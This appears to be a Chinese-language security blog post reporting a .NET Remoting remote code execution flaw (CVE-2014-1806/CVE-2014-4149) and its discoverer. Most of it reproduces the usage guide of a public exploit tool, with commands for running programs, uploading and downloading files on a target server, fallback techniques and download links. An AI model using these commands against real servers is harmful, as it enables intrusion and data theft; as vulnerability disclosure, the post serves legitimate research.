就在上周微軟宣布.NET開源的好消息,其內(nèi)容涉及.NET Framework Libraries、.NET Core Framework Libraries 和 RyuJit VM,允許開發(fā)者編寫運行于Mac OS X和Linux 的 .NET 程序。應用程序開發(fā)者們笑了,這沒什么……關鍵是安全研究者們也笑了。就在這兩天,.NET被曝遠程代碼執(zhí)行漏洞。
關于漏洞發(fā)現(xiàn)者
這是一位來自英國的安全研究者的最新研究成果,他本人之前還發(fā)現(xiàn)了Windows8.1預覽版漏洞,為此微軟官方已經(jīng)支付了他的10萬美刀的獎勵。
我們可以稱之福肖先生(Mr Forshaw),今年34歲,住在倫敦,在某次對Mr Forshaw采訪中他說:
“我總共研究過程大約花費了三個半周。我想出很多方法,終有一個成功了!在漏洞挖掘領域,我有超過10年的經(jīng)驗。因此從最初的構思,到最終將漏洞發(fā)送給微軟,我僅花費了兩周時間。”
.NET遠程代碼執(zhí)行漏洞EXP
以下內(nèi)容提供的安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!
ExploitRemotingService (c) 2014 James Forshaw
這是一款漏洞利用工具,可以遠程執(zhí)行.NET服務,相關漏洞是CVE-2014-1806或CVE-2014-4149
它只在Windows下面有用,盡管有些方面也許可以在*nix的Mono上面運行
使用說明:
ExploitRemotingService [options] uri command [command args]
Copyright (c) James Forshaw 2014
URI:
下面是一些提供支持的URI:
tcp://host:port/ObjName – TCP connection on host and portname
ipc://channel/ObjName – Named pipe channel
選項:
-s, –secure Enable secure mode
-p, –port=VALUE Specify the local TCP port to listen on
-i, –ipc=VALUE Specify listening pipe name for IPC channel
–user=VALUE Specify username for secure mode
–pass=VALUE Specify password for secure mode
–ver=VALUE Specify version number for remote, 2 or 4
–usecom Use DCOM backchannel instead of .NET remoting
–remname=VALUE Specify the remote object name to register
-v, –verbose Enable verbose debug output
–useser Uses old serialization tricks, only works on
full type filter services
-h, -?, –help
命令:
exec [-wait] program [cmdline]: Execute a process on the hosting server
cmd cmdline : Execute a command line process and display stdou
t
put localfile remotefile : Upload a file to the hosting server
get remotefile localfile : Download a file from the hosting server
ls remotedir : List a remote directory
run file [args] : Upload and execute an assembly, calls entry point
user : Print the current username
ver : Print the OS version
該工具支持利用TCP遠程服務和當?shù)豂PC服務,用來進行利用測試時你必須知道.NET遠程服務和監(jiān)聽(TCP)的端口的名稱,或命名管道(IPC)的名稱。這些通常可以在服務器或客戶端代碼中找到,尋找諸如下面的調(diào)用:
RemotingConfiguration.RegisterWellKnownServiceType or Activator.CreateInstance
然后你可以試著通過構造一個合適的URL來利用。如果是TCP,你可以使用這種URL格式
tcp://hostname:port/ServiceName.
如果是IPC則使用
ipc://NamedPipeName/ServiceName.
我們來做一個簡單的測試:
ExploitRemotingService SERVICEURL ver
如果成功的話,它應該打印出托管.NET服務的操作系統(tǒng)版本。但是如果你得到的是一個異常的話,則可能是基于cve – 2014 – 1806的漏洞被修復啦。如果真是那樣的話,此時你試一下COM版本使用方法:
ExploitRemotingService -usecom SERVICEURL ver
本地工作最好不過,但是如果你有能力修改COM配置、禁用防火墻就可以遠程工作。如果仍然不湊效,那么它可能是一個最新版本的服務器了。嗯哼,你依然可以把所有序列化版本使用方法都試一遍。為此遠程服務必須啟用完整typefilter模式(這是一些,尤其是IPC服務)
ExploitRemotingService -useser SERVICEURL ls c:
資源Github上可查: https://github.com/tyranid/ExploitRemotingService
利用的數(shù)據(jù)庫鏡像: http://www.exploit-db.com/sploits/35280.zip
作者Twitter:https://twitter.com/tiraniddo/status/533367961244139520